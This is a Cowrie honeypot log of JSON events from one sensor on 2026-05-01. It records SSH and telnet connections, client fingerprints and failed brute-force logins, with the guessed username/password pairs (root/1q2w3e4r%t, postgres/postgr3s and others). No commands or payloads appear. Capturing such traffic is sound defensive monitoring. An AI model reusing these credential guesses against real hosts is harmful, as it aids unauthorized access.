{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:29.822065Z","src_ip":"41.86.34.139","session":"b69d503770aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":45518,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfa9fd20c2c9","protocol":"telnet","message":"New connection: 148.230.134.28:45518 (159.203.135.109:23) [session: dfa9fd20c2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:29.870987Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":45546,"dst_ip":"159.203.135.109","dst_port":23,"session":"f69bb5c9e613","protocol":"telnet","message":"New connection: 148.230.134.28:45546 (159.203.135.109:23) [session: f69bb5c9e613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:29.875395Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"1q2w3e4r","message":"login attempt [test/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:30.686229Z","src_ip":"41.86.34.139","session":"b69d503770aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:31.896999Z","src_ip":"41.86.34.139","session":"b69d503770aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.05655598640442,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:34.387794Z","src_ip":"137.184.155.248","session":"7d01898a28f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":32922,"dst_ip":"159.203.135.109","dst_port":23,"session":"220a60006034","protocol":"telnet","message":"New connection: 148.230.134.28:32922 (159.203.135.109:23) [session: 220a60006034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:34.892102Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":32930,"dst_ip":"159.203.135.109","dst_port":23,"session":"df24b831e889","protocol":"telnet","message":"New connection: 148.230.134.28:32930 (159.203.135.109:23) [session: df24b831e889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:38.027862Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52448,"dst_ip":"10.17.0.5","dst_port":23,"session":"a989e6630f3f","protocol":"telnet","message":"New connection: 137.184.155.248:52448 (10.17.0.5:23) [session: a989e6630f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:38.755731Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52452,"dst_ip":"10.17.0.5","dst_port":23,"session":"a38106c09a0a","protocol":"telnet","message":"New connection: 137.184.155.248:52452 (10.17.0.5:23) [session: a38106c09a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:42.282737Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":32938,"dst_ip":"159.203.135.109","dst_port":23,"session":"545cfae1c740","protocol":"telnet","message":"New connection: 148.230.134.28:32938 (159.203.135.109:23) [session: 545cfae1c740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:43.660239Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":32950,"dst_ip":"159.203.135.109","dst_port":23,"session":"265003e7dcbc","protocol":"telnet","message":"New connection: 148.230.134.28:32950 (159.203.135.109:23) [session: 265003e7dcbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:43.834589Z"}
{"eventid":"cowrie.session.closed","duration":30.83587956428528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:44.693822Z","src_ip":"148.230.134.28","session":"df355e45a706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":38304,"dst_ip":"10.17.0.5","dst_port":22,"session":"84859a1f42ac","protocol":"ssh","message":"New connection: 186.4.240.226:38304 (10.17.0.5:22) [session: 84859a1f42ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:45.471932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:45.477042Z","src_ip":"186.4.240.226","session":"84859a1f42ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:45.565942Z","src_ip":"186.4.240.226","session":"84859a1f42ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"userftp2026","message":"login attempt [userftp/userftp2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:45.950869Z","src_ip":"186.4.240.226","session":"84859a1f42ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:47.042368Z","src_ip":"186.4.240.226","session":"84859a1f42ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":50568,"dst_ip":"159.203.135.109","dst_port":22,"session":"f662bd060124","protocol":"ssh","message":"New connection: 72.253.251.7:50568 (159.203.135.109:22) [session: f662bd060124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:48.675125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:48.680161Z","src_ip":"72.253.251.7","session":"f662bd060124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:48.798666Z","src_ip":"72.253.251.7","session":"f662bd060124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r%t","message":"login attempt [root/1q2w3e4r%t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:49.299312Z","src_ip":"72.253.251.7","session":"f662bd060124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:50.419448Z","src_ip":"72.253.251.7","session":"f662bd060124","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":41506,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c0309145d63","protocol":"ssh","message":"New connection: 202.125.94.71:41506 (159.203.135.109:22) [session: 3c0309145d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:51.050401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:51.054546Z","src_ip":"202.125.94.71","session":"3c0309145d63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:51.317893Z","src_ip":"202.125.94.71","session":"3c0309145d63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ht123456.","message":"login attempt [root/Ht123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:52.434668Z","src_ip":"202.125.94.71","session":"3c0309145d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:53.702762Z","src_ip":"202.125.94.71","session":"3c0309145d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":43638,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6fc6574c08c","protocol":"ssh","message":"New connection: 203.90.110.186:43638 (10.17.0.5:22) [session: e6fc6574c08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:54.164007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:54.168937Z","src_ip":"203.90.110.186","session":"e6fc6574c08c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:54.396478Z","src_ip":"203.90.110.186","session":"e6fc6574c08c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":52706,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7abe48a861d","protocol":"telnet","message":"New connection: 148.230.134.28:52706 (159.203.135.109:23) [session: c7abe48a861d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:54.539205Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgr3s","message":"login attempt [postgres/postgr3s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:55.328283Z","src_ip":"203.90.110.186","session":"e6fc6574c08c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:56.557125Z","src_ip":"203.90.110.186","session":"e6fc6574c08c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.186949014663696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:58.068400Z","src_ip":"148.230.134.28","session":"ed8c62a4a2a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":35270,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae1f64ccd223","protocol":"telnet","message":"New connection: 148.230.134.28:35270 (159.203.135.109:23) [session: ae1f64ccd223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:00.352452Z"}
{"eventid":"cowrie.session.closed","duration":31.0307834148407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:00.906048Z","src_ip":"148.230.134.28","session":"f69bb5c9e613","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.109.193.85","src_port":57700,"dst_ip":"10.17.0.5","dst_port":23,"session":"c16a8e838837","protocol":"telnet","message":"New connection: 193.109.193.85:57700 (10.17.0.5:23) [session: c16a8e838837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:01.292586Z"}
{"eventid":"cowrie.session.closed","duration":31.45959496498108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:01.330455Z","src_ip":"148.230.134.28","session":"dfa9fd20c2c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":52479,"dst_ip":"159.203.135.109","dst_port":22,"session":"76c1a7f154db","protocol":"ssh","message":"New connection: 103.86.180.10:52479 (159.203.135.109:22) [session: 76c1a7f154db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:02.790268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:02.795211Z","src_ip":"103.86.180.10","session":"76c1a7f154db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:02.991014Z","src_ip":"103.86.180.10","session":"76c1a7f154db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plexuser","password":"plexuser","message":"login attempt [plexuser/plexuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:03.802919Z","src_ip":"103.86.180.10","session":"76c1a7f154db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:05.002053Z","src_ip":"103.86.180.10","session":"76c1a7f154db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50044,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c4e1825679d","protocol":"telnet","message":"New connection: 137.184.155.248:50044 (10.17.0.5:23) [session: 3c4e1825679d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:05.428313Z"}
{"eventid":"cowrie.session.closed","duration":32.21738243103027,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:07.109353Z","src_ip":"148.230.134.28","session":"220a60006034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":47098,"dst_ip":"159.203.135.109","dst_port":23,"session":"faac496e2360","protocol":"telnet","message":"New connection: 148.230.134.28:47098 (159.203.135.109:23) [session: faac496e2360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:07.617345Z"}
{"eventid":"cowrie.session.closed","duration":32.1731219291687,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:10.200831Z","src_ip":"148.230.134.28","session":"df24b831e889","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.842015027999878,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:11.270172Z","src_ip":"137.184.155.248","session":"3c4e1825679d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":40348,"dst_ip":"159.203.135.109","dst_port":23,"session":"06962cfcae01","protocol":"telnet","message":"New connection: 187.188.181.103:40348 (159.203.135.109:23) [session: 06962cfcae01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:17.659075Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4580,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c7168649d0b","protocol":"ssh","message":"New connection: 87.251.64.176:4580 (10.17.0.5:22) [session: 6c7168649d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:18.036946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:18.042050Z","src_ip":"87.251.64.176","session":"6c7168649d0b","protocol":"ssh"}
